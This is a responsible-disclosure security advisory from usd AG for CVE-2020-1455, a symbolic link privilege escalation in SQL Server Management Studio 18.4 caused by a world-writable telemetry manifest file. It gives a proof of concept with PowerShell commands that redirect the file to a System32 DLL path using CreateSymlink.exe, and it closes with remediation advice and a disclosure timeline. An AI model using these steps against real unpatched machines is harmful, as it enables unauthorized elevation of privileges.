usd-2020-0030 | SQL Server Management Studio 18.4

Advisory ID: usd-2020-0030
CVE Number: CVE-2020-1455
Affected Product: SQL Server Management Studio (SSMS)
Affected Version: 18.4
Vulnerability Type: Symbolic Link Vulnerability
Security Risk: High
Vendor URL:
Vendor Status: Fixed


Symbolic link attacks have become more and more popular on Windows operating systems. A symbolic link is just a directory entry that points to a different location of the file system and redirects certain file operations to the actual target. When privileged processes interact with user controlled parts of the file system, symbolic links can be used to redirect privileged file operations in order to achieve an elevation of privileges. However, it should be noticed that low privileged user accounts are not able to create symbolic links that connect two ordinary file system locations. That being said, there is a workaround that allows the creation of pseudo symbolic links, as demonstrated by James Forshaw.

Proof of Concept (PoC)

After installing the SQL Server Management Studio (SSMS) by using the corresponding installer, one can find a .json file that is created inside the C:\ProgramData\vstelemetry\Default folder. As shown in the following listing, this file allows everyone full access, which represents a non inherited file permission.

PS C:\ProgramData\vstelemetry\Default> dir

    Directory: C:\ProgramData\vstelemetry\Default

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/19/2020   5:24 PM           7275 Default.manifest.json

PS C:\ProgramData\vstelemetry\Default> icacls .\Default.manifest.json
.\Default.manifest.json Everyone:(F)
                        NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files

A quick analysis with Procmon reveals that the corresponding file is accessed on each startup of SSMS. If it already exists, it is only read by the application. However, if it does not exist, it gets created and the file permissions are set explicitly.

This could allow an attacker to achieve an elevation of privileges by using a symbolic link attack. For demonstration, we use the symboliclink-testing-tools of James Forshaw to create a symbolic link that points to a non existing file inside of a protected directory.

PS C:\> del C:\ProgramData\vstelemetry\Default\Default.manifest.json
PS C:\> C:\Users\Public\CreateSymlink.exe -p C:\ProgramData\vstelemetry\Default\Default.manifest.json C:\Windows\System32\malicious.dll

Now one has to wait until a privileged user account opens the SQL Server Management Studio. In our demonstration, we open SSMS as administrator and can verify that the application follows the symbolic link.

PS C:\> dir C:\Windows\System32\malicious.dll

    Directory: C:\Windows\System32

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/19/2020   5:40 PM           7275 malicious.dll

PS C:\> icacls C:\Windows\System32\malicious.dll
C:\Windows\System32\malicious.dll Everyone:(F)
                                  NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files

Since everyone gets assigned full control over the newly generated file, the file can now be overwritten with arbitrary contents. This should be sufficient to perform a privilege escalation attack.

Relying on an administrative user account for opening SSMS is of course very limiting, but also other user accounts can be tricked to write files into protected locations, where the attacker account does not have access to. Furthermore, it should be noticed that this attack can also be executed during the installation process of SSMS. This could allow an elevation of privileges on workstations that use different kinds of software distribution solutions.


File operations on directories that are controlled by low privileged user accounts should always be treated with special care. It is recommended to create a separate configuration file for each user account inside of a protected folder that is only writable/modifiable by the corresponding user.


  • 2020-03-20 Security vulnerability is found by one of our researchers
  • 2020-04-02 Security vulnerability submitted via MSRC
  • 2020-08-10 Microsoft releases a fix
  • 2020-10-27 Security advisory released


This security vulnerability was found by Tobias Neitzel of usd AG.


In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.


The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.